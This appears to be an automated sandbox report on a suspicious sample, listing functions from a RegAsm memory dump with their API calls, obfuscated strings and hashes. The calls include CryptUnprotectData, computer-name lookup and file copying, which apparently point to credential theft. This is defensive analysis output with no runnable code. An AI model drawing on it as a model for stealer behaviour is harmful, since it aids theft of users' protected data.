Function 004277C0 Relevance: 1.7, Strings: 1, Instructions: 424
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

;:=<, xrefs: 0042781D

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: ;:=<
API String ID: 2994545307-1779823811
Opcode ID: 1334f79235220ba33ac831f84196b83910ab924fbf5405a7c2f169c4aab764d1
Instruction ID: b9df0df8ec96dde64e0b3a4675888c70f5e30a26a888c7ed3d759d3b3fdc126a
Opcode Fuzzy Hash: 1334f79235220ba33ac831f84196b83910ab924fbf5405a7c2f169c4aab764d1
Instruction Fuzzy Hash: CAC16A72B0C3208BD714CB29D84163BB7D2EBD5314F59857ED88A8B385D679ED02C78A

Function 004192C3 Relevance: 1.7, APIs: 1, Instructions: 156encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00419491

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 67066d79f2e0e2c556ddced3fbca7fcfc7bbba99d09ee7c06a8ed8b3fd2b2a06
Instruction ID: 2f515dfc4c4df483a9c515854f49534d3ffdd9ab5ad4ae8a739720e01657628b
Opcode Fuzzy Hash: 67066d79f2e0e2c556ddced3fbca7fcfc7bbba99d09ee7c06a8ed8b3fd2b2a06
Instruction Fuzzy Hash: E65108B15083558FC724CF69C4D12ABBBE1AF99304F08496EE4E987382D239DD45CB56

Function 00438ED0 Relevance: 1.6, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

, xrefs: 00438F1D, 00439207, 00438FFD, 0043920E

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-3019521637
Opcode ID: 1337c2d53c43d85541e2160734128aa11c282de89a300e4156288c8f50bcbfb4
Instruction ID: 10dcefb1d69153240ead42e29cb6c44a97267fa514bdd6c96bec7f4ae6184812
Opcode Fuzzy Hash: 1337c2d53c43d85541e2160734128aa11c282de89a300e4156288c8f50bcbfb4
Instruction Fuzzy Hash: A7917937B043114BE7189E68CC8267BB7E3EBC9304F1D953DD99593391EAB89C058789

Function 00441CB0 Relevance: 1.5, Strings: 1, Instructions: 266COMMON

Download Yara Rule

Strings

FGFA, xrefs: 00441E25

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: FGFA
API String ID: 2994545307-1293343293
Opcode ID: 338c331d98de2080d3cc373bd636463768723e52d7fccd1f0fed820e67ba5b8b
Instruction ID: d82890ae5b8405dd5d772d792f4ed481fd850e875cd217ff149d6bf94a1c741a
Opcode Fuzzy Hash: 338c331d98de2080d3cc373bd636463768723e52d7fccd1f0fed820e67ba5b8b
Instruction Fuzzy Hash: 0E7138716083009BE728CF24D891A7BB7E2EBD5344F18893DE996473A1DB38D885C749

Function 0043E420 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00440F42,005C003F,00000008,00000018,?), ref: 0043E44E

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00441050 Relevance: 1.4, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

5|iL, xrefs: 00441180

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: 5|iL
API String ID: 2994545307-1880071150
Opcode ID: 1578b8eaa752ad71c318a274595036bf3ea4456157c48e53902889dd4741d643
Instruction ID: 6dd94c4376c72eaa9512bdfb30cf4860a9d07aabf8ea00ee791b3781dee47efc
Opcode Fuzzy Hash: 1578b8eaa752ad71c318a274595036bf3ea4456157c48e53902889dd4741d643
Instruction Fuzzy Hash: 68412975715301AFF7148F25EC81B37B7E6EB85344F28452EE280873A5E678E890875D

Function 00441480 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9ab38bd6cec5db73bcef0a96c5f6ebba2909499636b8e1f76d9be44b8248d6f1
Instruction ID: 815013dd8d55479357c847a7de1601a9ecbb677cc3027380411dfb722df17a6b
Opcode Fuzzy Hash: 9ab38bd6cec5db73bcef0a96c5f6ebba2909499636b8e1f76d9be44b8248d6f1
Instruction Fuzzy Hash: 69613632B04301ABD728CF18DC81B6BB7E2EFD5350F19852EE5858B365EB38D850874A

Function 00409E21 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6b5e08f9041a5aefe18e589cb7c56b4c5957cab1d47971e66b085f206ab3dbc
Instruction ID: e107110464568c6d81bcb4f09fecce986dab2e9b73150605e9f7cbbdcbce5b28
Opcode Fuzzy Hash: e6b5e08f9041a5aefe18e589cb7c56b4c5957cab1d47971e66b085f206ab3dbc
Instruction Fuzzy Hash: 6B511772A513644BDB54CF68CD897DE7B32AB96300F1842E9C9847B246CB780E45CB84

Function 00420EF0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfc3a67e5b2ad3164977090e58aba5a105025c03ffe3068a1343ced494e92333
Instruction ID: 1fa01920aa2e6fcc8fe30a53230af68cef853f403f28198226460abcb875f5b2
Opcode Fuzzy Hash: bfc3a67e5b2ad3164977090e58aba5a105025c03ffe3068a1343ced494e92333
Instruction Fuzzy Hash: F6413679A08310EFE310DF25EC8161F77E4EB8A318F55843EFA8583282DB7599098797

Function 0042D30B Relevance: 4.9, APIs: 3, Instructions: 397
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042D3E7
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042D423

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID:
API String ID: 2904949787-0
Opcode ID: 91702c7460f3ea3bf4d01a5b60907db3589e9077fd064fd8907a4202272a672a
Instruction ID: c668425f42623d5c4cbfc84636ffe6d391bf7abc2db824b82279399dc59abe95
Opcode Fuzzy Hash: 91702c7460f3ea3bf4d01a5b60907db3589e9077fd064fd8907a4202272a672a
Instruction Fuzzy Hash: C5D1B460608B918EE7258F35D460BB3BBE19F27304F58489EC5EB87293D7796409CB26

Function 0043E370 Relevance: 1.6, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,00000000,00000001,?,00000000,?,?,0040BA1A,00000000,00000001,?,00000000,?,00000000), ref: 0043E3DB

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a7ff0f798fc30b76f792086ad38cbd0beafc262cb4d4de1013c7cd7c48cde5aa
Instruction ID: 8a7d37f52372a3ed27f7298983152f214c485853710a149744c9cc568332bd43
Opcode Fuzzy Hash: a7ff0f798fc30b76f792086ad38cbd0beafc262cb4d4de1013c7cd7c48cde5aa
Instruction Fuzzy Hash: CD0168796083419BD3009B26FC51B6BBB9EEFDB315F184039E94583741CA3AAC16C396

Function 0043BB70 Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 0043BBD8

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 8d9fd6ef3cdb193d8b3789759a94b763c2d9e2e0f2e5a70ab70441a6e758872c
Instruction ID: e5c94070d7be715cae25744535c21d30189543ffbabb06430699a339effd1bca
Opcode Fuzzy Hash: 8d9fd6ef3cdb193d8b3789759a94b763c2d9e2e0f2e5a70ab70441a6e758872c
Instruction Fuzzy Hash: 1FF059B8B091108FD304DB14FC10A3BBBD5EBDA324F1A803CE0858A796D6308C01CB86

Function 0043BB20 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0043BB60

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6222587eb63aec0e9e6e5b0661e6e2458e94e8f3d2309b5164a83277eee18734
Instruction ID: f31c5af4229bae75d383888768342b37ffc4cc1a62a4ebab35f5a50810103b6c
Opcode Fuzzy Hash: 6222587eb63aec0e9e6e5b0661e6e2458e94e8f3d2309b5164a83277eee18734
Instruction Fuzzy Hash: 60E0D83050C3404FD7066B24E8A6B2ABFA2EB96B14F60456CE4C1473E2CA365C2BCB57

Function 004332F2 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00433336

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 2a12333dd22575aa26cb5ced0141f8cbb95bbe0f2fef6aef6fd922132291aa15
Instruction ID: f4578040463029fd206be13c71bfcd013365946abaacd1db1e9905d356089b32
Opcode Fuzzy Hash: 2a12333dd22575aa26cb5ced0141f8cbb95bbe0f2fef6aef6fd922132291aa15
Instruction Fuzzy Hash: 6AF01D74A483418FE314DF24C49875ABBE1EBC4304F10895DE5948B790CBB59648CF86

Function 00430969 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004309B2

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 827844dc8d69ddff0662615ca8cc6eb72eb5c84a5e5e6005d271f688d27f7df8
Instruction ID: 4291cfd54b30b210e79bceb8c8d378b9125f638b093c55bebcd8583c723f5694
Opcode Fuzzy Hash: 827844dc8d69ddff0662615ca8cc6eb72eb5c84a5e5e6005d271f688d27f7df8
Instruction Fuzzy Hash: 15F0B7B41097018FE304DF28C5A871ABBF0FB89308F10481CE1968B3A0DB75AA48CF82

Function 0040CD40 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CD53

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: f1eefa1e2715ee8e2ff37698e3af7a915f3b6bd3fa32b9f9d666b28f3977ec7e
Instruction ID: 07c29162f38ee33b17f71475a022d17df7fc23ef7cfd2a8f3c81aa62a753a06a
Opcode Fuzzy Hash: f1eefa1e2715ee8e2ff37698e3af7a915f3b6bd3fa32b9f9d666b28f3977ec7e
Instruction Fuzzy Hash: E5E0C236B9114417E314BB18DC0BF46362A83C3731F08C236A255C67C4DC28D805C2A6

Function 0040CD7E Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CD90

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: eff080751637ce3825c0043289b774b8fcb52c3ad225c83be113463185c7acaa
Instruction ID: 3f0139b8e32ca54a791a6843e812a05b786a47bc7fe22565ae8806df4a9aca9a
Opcode Fuzzy Hash: eff080751637ce3825c0043289b774b8fcb52c3ad225c83be113463185c7acaa
Instruction Fuzzy Hash: BED092347C4341B6EA68DB08AC53F1432115303F52F314628B362EE2E5C9E061118A1D

Non-executed Functions

Function 00425440 Relevance: 37.1, Strings: 29, Instructions: 805COMMON

Download Yara Rule

Strings

\], xrefs: 00425B52
|-z/, xrefs: 00425F12
Q_, xrefs: 00425682
Y>[, xrefs: 00425F33
l]f[, xrefs: 00425D43
q%e', xrefs: 00425EFC
Sg/e, xrefs: 00425459
`Qo_, xrefs: 00425D38
@=g?, xrefs: 00425EE6
uEsC, xrefs: 00425D01
2q s, xrefs: 00425F75
5u w, xrefs: 00425F80
.y-{, xrefs: 00425F8B
pInW, xrefs: 00425D22
9yG, xrefs: 00425CF6
3w+u, xrefs: 00425485
3c?a, xrefs: 00425464
<o0m, xrefs: 0042546F
:<, xrefs: 00426132
?s,q, xrefs: 00425490
vN, xrefs: 004259A9
{u, xrefs: 004259B4
W9Q;, xrefs: 00425EDB
`a, xrefs: 00425FA8
BUB, xrefs: 00425537
X5Y7, xrefs: 00425ED0
[O, xrefs: 0042599E
RUB, xrefs: 00425549
s!u#, xrefs: 00425EF1

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 9yG$Y>[$.y-{$2q s$3c?a$3w+u$5u w$:<$<o0m$?s,q$@=g?$BUB$RUB$Sg/e$W9Q;$X5Y7$[O$\]$`Qo_$`a$l]f[$pInW$q%e'$s!u#$uEsC$vN${u$|-z/$Q_
API String ID: 0-3750274029
Opcode ID: 92e364e5da0e89b5e2c9cf0d797657a3b5a3af905b9ea4ad65fcc6e156b3464b
Instruction ID: 5ac324ea4a72efb1c0e64a034cd5d4e5955bd14a257644c688f756931cb9cd25
Opcode Fuzzy Hash: 92e364e5da0e89b5e2c9cf0d797657a3b5a3af905b9ea4ad65fcc6e156b3464b
Instruction Fuzzy Hash: 12825FB55093819BE334CF11E881BEBBBE1FB86344F408A2DD6D99B241DB748446CF96

Function 004251D0 Relevance: 30.9, Strings: 24, Instructions: 910COMMON

Download Yara Rule

Strings

uEsC, xrefs: 00425D01
\], xrefs: 00425B52
2q s, xrefs: 00425F75
|-z/, xrefs: 00425F12
5u w, xrefs: 00425F80
Y>[, xrefs: 00425F33
Q_, xrefs: 00425682
.y-{, xrefs: 00425F8B
pInW, xrefs: 00425D22
l]f[, xrefs: 00425D43
9yG, xrefs: 00425CF6
:<, xrefs: 00426132
q%e', xrefs: 00425EFC
vN, xrefs: 004259A9
{u, xrefs: 004259B4
W9Q;, xrefs: 00425EDB
`a, xrefs: 00425FA8
`Qo_, xrefs: 00425D38
BUB, xrefs: 00425537
X5Y7, xrefs: 00425ED0
[O, xrefs: 0042599E
@=g?, xrefs: 00425EE6
RUB, xrefs: 00425549
s!u#, xrefs: 00425EF1

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 9yG$Y>[$.y-{$2q s$5u w$:<$@=g?$BUB$RUB$W9Q;$X5Y7$[O$\]$`Qo_$`a$l]f[$pInW$q%e'$s!u#$uEsC$vN${u$|-z/$Q_
API String ID: 0-2601126255
Opcode ID: 30d1a1606326d07f2d8d30286cde889be6ce881e1d8216ed3a02a6de3c766cf9
Instruction ID: 1f9792d30e5dc87b445a3f9c6be40305c731601921a44a64e60cab06b5220c61
Opcode Fuzzy Hash: 30d1a1606326d07f2d8d30286cde889be6ce881e1d8216ed3a02a6de3c766cf9
Instruction Fuzzy Hash: 4E9260B56093819FE334CF11E880BABBBE1FB86344F41892DD6C99B251DB748446CF96

Function 004255D0 Relevance: 30.8, Strings: 24, Instructions: 769COMMON

Download Yara Rule

Strings

uEsC, xrefs: 00425D01
\], xrefs: 00425B52
2q s, xrefs: 00425F75
|-z/, xrefs: 00425F12
5u w, xrefs: 00425F80
Y>[, xrefs: 00425F33
Q_, xrefs: 00425682
.y-{, xrefs: 00425F8B
pInW, xrefs: 00425D22
l]f[, xrefs: 00425D43
9yG, xrefs: 00425CF6
:<, xrefs: 00426132
q%e', xrefs: 00425EFC
vN, xrefs: 004259A9
{u, xrefs: 004259B4
W9Q;, xrefs: 00425EDB
`a, xrefs: 00425FA8
`Qo_, xrefs: 00425D38
BUB, xrefs: 00425537
X5Y7, xrefs: 00425ED0
[O, xrefs: 0042599E
@=g?, xrefs: 00425EE6
RUB, xrefs: 00425549
s!u#, xrefs: 00425EF1

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 9yG$Y>[$.y-{$2q s$5u w$:<$@=g?$BUB$RUB$W9Q;$X5Y7$[O$\]$`Qo_$`a$l]f[$pInW$q%e'$s!u#$uEsC$vN${u$|-z/$Q_
API String ID: 0-2601126255
Opcode ID: 2a662cd9e502a88f408f5537358a265835d9a6d63c3f09aaf0a14ef6dd8db4e6
Instruction ID: 3f1884a41b76af52d70204986f6b11e9b34086b7b54899efdde232d0b1a8db8d
Opcode Fuzzy Hash: 2a662cd9e502a88f408f5537358a265835d9a6d63c3f09aaf0a14ef6dd8db4e6
Instruction Fuzzy Hash: C6724EB56093819BE334CF15E880BEBBBE0BB86344F40892DD6D99B241DB748446CF96

Function 0041FF90 Relevance: 18.4, Strings: 14, Instructions: 923COMMON

Download Yara Rule

Strings

rsC@, xrefs: 0042029B
_fV, xrefs: 0042034D
pDyy, xrefs: 004202A2
[ptv, xrefs: 00420357
o$f, xrefs: 00420955
.kG, xrefs: 004202A9
kRo_, xrefs: 004202CC
QSeh, xrefs: 00420286
0 .., xrefs: 0042067F
}$(`, xrefs: 004202B7
WnK{, xrefs: 0042028D
uwyT, xrefs: 004202C5
'$ ", xrefs: 00420678
7d[Y, xrefs: 00420311

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: _fV$'$ "$.kG$0 ..$7d[Y$QSeh$WnK{$[ptv$kRo_$o$f$pDyy$rsC@$uwyT$}$(`
API String ID: 0-1340030871
Opcode ID: 6ba73bf0097c3be3ee3b6578bb71018bb33be576f157c5576b6f39946b6d443b
Instruction ID: 5fffecbda7cbc7b460104305e8243ccb5fb6ca6385620283a739c42bfb3ed6fe
Opcode Fuzzy Hash: 6ba73bf0097c3be3ee3b6578bb71018bb33be576f157c5576b6f39946b6d443b
Instruction Fuzzy Hash: 04621170604B918FC735CF29D490627BBE1BF95304B588A6EC4E68BB93D738E846CB54

Function 004288DD Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 366fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(00000000,?,00000000,?,?,?,?,yhKH 0M::,g@mYU-1X(&), ref: 00428978

Strings

=(05, xrefs: 00428A6A
L#L-, xrefs: 0042894C
;:=<, xrefs: 00428D28
0M:, xrefs: 00428A5C
1X(&, xrefs: 00428A47
mYU-, xrefs: 00428A4E
yhKH, xrefs: 00428A63
:,g@, xrefs: 00428A55
=(05yhKH 0M::,g@mYU-1X(&, xrefs: 00428CA0, 00428BD0, 004289E6

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: CopyFile
String ID: 0M:$1X(&$:,g@$;:=<$=(05$=(05yhKH 0M::,g@mYU-1X(&$L#L-$mYU-$yhKH
API String ID: 1304948518-1839588596
Opcode ID: 7e13ca6f808b2bc6bd2b8665dea8e0fc6a964b54b4b8c885267d63d5a6a599b7
Instruction ID: 29340e41837ad6d3de6b008828bb1df49b62f07a875fabe1b4272e794f794163
Opcode Fuzzy Hash: 7e13ca6f808b2bc6bd2b8665dea8e0fc6a964b54b4b8c885267d63d5a6a599b7
Instruction Fuzzy Hash: E0D1F0B9E00616CFDB14CF68D88166EB7B1FF89304F58816ED405AB351EB34A952CBD8

Function 004288F8 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 295fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(00000000,?,00000000,?,?,?,?,yhKH 0M::,g@mYU-1X(&), ref: 00428978

Strings

=(05, xrefs: 00428A6A
L#L-, xrefs: 0042894C
;:=<, xrefs: 00428D28
0M:, xrefs: 00428A5C
1X(&, xrefs: 00428A47
mYU-, xrefs: 00428A4E
yhKH, xrefs: 00428A63
:,g@, xrefs: 00428A55
=(05yhKH 0M::,g@mYU-1X(&, xrefs: 00428CA0, 004289E6

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: CopyFile
String ID: 0M:$1X(&$:,g@$;:=<$=(05$=(05yhKH 0M::,g@mYU-1X(&$L#L-$mYU-$yhKH
API String ID: 1304948518-1839588596
Opcode ID: 8395b2ff723097783f37449b486a51335824c06b05f9ef334af531377daae234
Instruction ID: 180dd6a639ffca2a901490a16017f2abe53e3b3af0fb2eee3fc12670b9eb8d5c
Opcode Fuzzy Hash: 8395b2ff723097783f37449b486a51335824c06b05f9ef334af531377daae234
Instruction Fuzzy Hash: 13B100B9A00216CFDB14CF28D84066EB7B1FF4A304F1981ADD405AB351EB35AD52CBD8

Function 00409410 Relevance: 10.4, Strings: 8, Instructions: 439COMMON

Download Yara Rule

Strings

CEa~, xrefs: 00409815
FyOA, xrefs: 00409536
9$, xrefs: 00409454
^!, xrefs: 0040959E
C}yD, xrefs: 00409546
)x, xrefs: 004097E3
P, xrefs: 004097F2
`|Vz, xrefs: 00409566

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: )x$CEa~$C}yD$FyOA$P$^!$`|Vz$9$
API String ID: 0-1872272304
Opcode ID: 7eba135c86ffd7cc95433c9f1a24ca243a7e8e9c30315bf08df24b183b5bbefe
Instruction ID: 7358a85e4f1b823aa5a40fd208cc153005ab7fcb3a2e79ac82dfdcee323e6701
Opcode Fuzzy Hash: 7eba135c86ffd7cc95433c9f1a24ca243a7e8e9c30315bf08df24b183b5bbefe
Instruction Fuzzy Hash: 91C104325183918AD311CF29C45076BBBE1AF97344F0949AED8D4AB393D73AC909CB96

Function 0042C3D0 Relevance: 10.3, Strings: 8, Instructions: 266COMMON

Download Yara Rule

Strings

fi<b, xrefs: 0042C62B
~FCs, xrefs: 0042C5C7
)-$", xrefs: 0042C493
x}KH, xrefs: 0042C5D1
$('', xrefs: 0042C4A7
h@KJ, xrefs: 0042C5EF
yrt@, xrefs: 0042C5DB
u@wB, xrefs: 0042C5BD

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: $(''$)-$"$fi<b$h@KJ$u@wB$x}KH$yrt@$~FCs
API String ID: 0-2904395653
Opcode ID: 5ea25fac44711d14ca98305bc12f104743946438d3f160ddf0d10589975b9041
Instruction ID: 7f5f47f6125ba2d91d2036908e94d2695878a208deecc13d885392006dd65dab
Opcode Fuzzy Hash: 5ea25fac44711d14ca98305bc12f104743946438d3f160ddf0d10589975b9041
Instruction Fuzzy Hash: 1891F5B0604B908BD3398F35D8917A7BBE2AF97304F58995DC0EB4B385C7386405CB59

Function 004255A4 Relevance: 10.2, Strings: 8, Instructions: 189COMMON

Download Yara Rule

Strings

[VQa, xrefs: 00426B82
_fXl, xrefs: 00426B8D
MlB, xrefs: 00426C47
)Jmi, xrefs: 00426B98
x, xrefs: 00426BCF
BLJN, xrefs: 00426BB9
1Spt, xrefs: 00426BAE
PnoL, xrefs: 00426BA3

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: )Jmi$1Spt$BLJN$MlB$PnoL$[VQa$_fXl$x
API String ID: 0-3329954981
Opcode ID: bffe4769d9428dfeb9ce58624dac6c874f0d27eea85e15fd6356625d1823aa27
Instruction ID: 0d9bc49bd01bd19d5d4c9f85ac95da40e29244f73e8c515b28de0e08d5a7ffe0
Opcode Fuzzy Hash: bffe4769d9428dfeb9ce58624dac6c874f0d27eea85e15fd6356625d1823aa27
Instruction Fuzzy Hash: A8515A327193A28BD730CA2490513E7FBE1EF56340F9A863EC585C7385D738A506D78A

Function 00427D61 Relevance: 9.3, Strings: 7, Instructions: 519COMMON

Download Yara Rule

Strings

ujcw, xrefs: 0042820E
obwa, xrefs: 0042822E
""$2, xrefs: 0042810C
7Rn~, xrefs: 0042821E
yd-K, xrefs: 00428226
Iy~s, xrefs: 00428260
yrtp, xrefs: 00428216

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ""$2$7Rn~$Iy~s$obwa$ujcw$yd-K$yrtp
API String ID: 0-1936000690
Opcode ID: 45f60b8723551f83df897f121c5c623d2ff92b384759331cb993cd8d9bfebb53
Instruction ID: a5d2def4d44e7aaff2e8781055e5261c298c51011e5ec9ecc35440d40ca5e48a
Opcode Fuzzy Hash: 45f60b8723551f83df897f121c5c623d2ff92b384759331cb993cd8d9bfebb53
